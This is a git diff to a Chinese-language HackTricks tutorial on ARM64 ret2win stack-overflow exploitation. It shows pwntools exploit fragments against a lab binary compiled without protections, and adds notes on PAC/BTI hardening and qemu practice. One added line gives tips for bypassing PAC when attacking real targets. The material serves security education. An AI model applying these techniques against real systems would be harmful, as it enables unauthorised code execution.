diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 4df7a0a83..95b1ae3ca 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-在以下内容中找到关于 arm64 的介绍:
+在以下位置可以找到关于 arm64 的介绍:
{{#ref}}
@@ -28,17 +28,29 @@ vulnerable_function();
return 0;
}
```
-在没有 PIE 和 canary 的情况下编译:
+在没有 pie 和 canary 的情况下编译:
```bash
-clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
+clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
+- 额外的编译选项 `-mbranch-protection=none` 会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的工具链默认启用了 PAC 或 BTI,这能保持实验可重复。要检查已编译的二进制是否使用了 PAC/BTI,你可以:
+- 查找 AArch64 GNU 属性:
+- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
+- 检查函数前序/后序以寻找 `paciasp`/`autiasp`(PAC)或 `bti c` 着陆点(BTI):
+- `objdump -d ret2win | head -n 40`
+
+### AArch64 调用约定快速要点
+
+- 链接寄存器是 `x30`(也称 `lr`),函数通常用 `stp x29, x30, [sp, #-16]!` 保存 `x29`/`x30`,并用 `ldp x29, x30, [sp], #16; ret` 恢复它们。
+- 这意味着保存的返回地址位于相对于帧基址的 `sp+8`。如果在下面放置了一个 `char buffer[64]`,通常覆盖保存的 `x30` 的距离是 64 (buffer) + 8 (saved x29) = 72 字节——这正是我们下面会发现的。
+- 在函数边界处,栈指针必须保持 16 字节对齐。如果你在更复杂的场景中稍后构造 ROP chains,请保持 SP 对齐,否则可能在函数尾部崩溃。
+
## 寻找偏移量
### 模式选项
-此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
+这个例子是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
-启动 gdb 并使用 gef,创建模式并使用它:
+用 gef 启动 gdb,创建 pattern 并使用它:
```bash
gdb -q ./ret2win
pattern create 200
@@ -46,7 +58,7 @@ run
```
-arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移:
+arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被破坏),我们可以利用这一点来找到 pattern offset:
```bash
pattern search $x30
```
@@ -65,14 +77,14 @@ info frame
```
-现在在 `read()` 之后设置一个断点,并继续直到 `read()` 被执行,并设置一个模式,例如 13371337:
+现在在 `read()` 之后设置一个断点,继续执行直到 `read()` 被执行,并设置一个类似 13371337 的模式:
```
b *vulnerable_function+28
c
```
-找到这个模式在内存中的存储位置:
+查找该模式在内存中的存放位置:
@@ -80,7 +92,7 @@ c
-## 无PIE
+## No PIE
### 常规
@@ -90,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
-利用:
+利用:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
+# Optional but nice for AArch64
+context.arch = 'aarch64'
# Prepare the payload
offset = 72
@@ -114,7 +128,7 @@ p.close()
### Off-by-1
-实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址。
+实际上,这更像是在 stack 中存储的 stored PC 出现的 off-by-2。我们不会覆盖整个 return address,而是只覆盖 **最后 2 个字节**,写为 `0x06c4`。
```python
from pwn import *
@@ -136,16 +150,16 @@ p.close()
```
-您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。
+你可以在 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 找到另一个 ARM64 的 off-by-one 示例,该示例是在一个虚构的漏洞中出现的真实 off-by-**one**。
-## 使用 PIE
+## 在启用 PIE 时
> [!TIP]
-> 编译二进制文件 **时不要使用 `-no-pie` 参数**
+> 编译该二进制 **不要使用 `-no-pie` 参数**
### Off-by-2
-在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
+没有 leak 的情况下,我们不知道 win 函数的确切地址,但我们可以知道该函数相对于二进制的偏移;并且由于我们正在覆盖的 return address 已经指向一个很接近的地址,在这种情况下可以 leak 到 win 函数的偏移(**0x7d4**)并直接使用该偏移:
```python
@@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
+### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
+
+- 如果二进制使用 AArch64 Branch Protection 编译,你可能会在函数前导/尾随中看到 `paciasp`/`autiasp` 或 `bti c`。在这种情况下:
+- 返回到不是有效 BTI landing pad 的地址可能会触发 `SIGILL`。优先定位包含 `bti c` 的准确函数入口。
+- 如果 PAC 为 returns 启用,简单的返回地址覆盖可能会失败,因为 epilogue 会对 `x30` 进行认证。为了学习场景,可用 `-mbranch-protection=none` 重新编译(如上所示)。在攻击真实目标时,优先选择非返回劫持(例如 function pointer overwrites)或构建不会执行会对你的伪造 LR 进行认证的 `autiasp`/`ret` 对的 ROP。
+- 快速检查特性:
+- `readelf --notes -W ./ret2win` 并查找 `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes。
+- `objdump -d ./ret2win | head -n 40` 并查找 `bti c`, `paciasp`, `autiasp`。
+
+### Running on non‑ARM64 hosts (qemu‑user quick tip)
+
+如果你在 x86_64 平台但想练习 AArch64:
+```bash
+# Install qemu-user and AArch64 libs (Debian/Ubuntu)
+sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
+
+# Run the binary with the AArch64 loader environment
+qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
+
+# Debug with GDB (qemu-user gdbstub)
+qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
+# In another terminal
+gdb-multiarch ./ret2win -ex 'target remote :1234'
+```
+### 相关 HackTricks 页面
+
+-
+{{#ref}}
+../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+{{#endref}}
+-
+{{#ref}}
+../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+{{#endref}}
+
+
+
+## 参考资料
+
+- 在 AArch64 上为 Linux 启用 PAC 和 BTI (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
+- Arm 64-bit Architecture 的过程调用标准 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}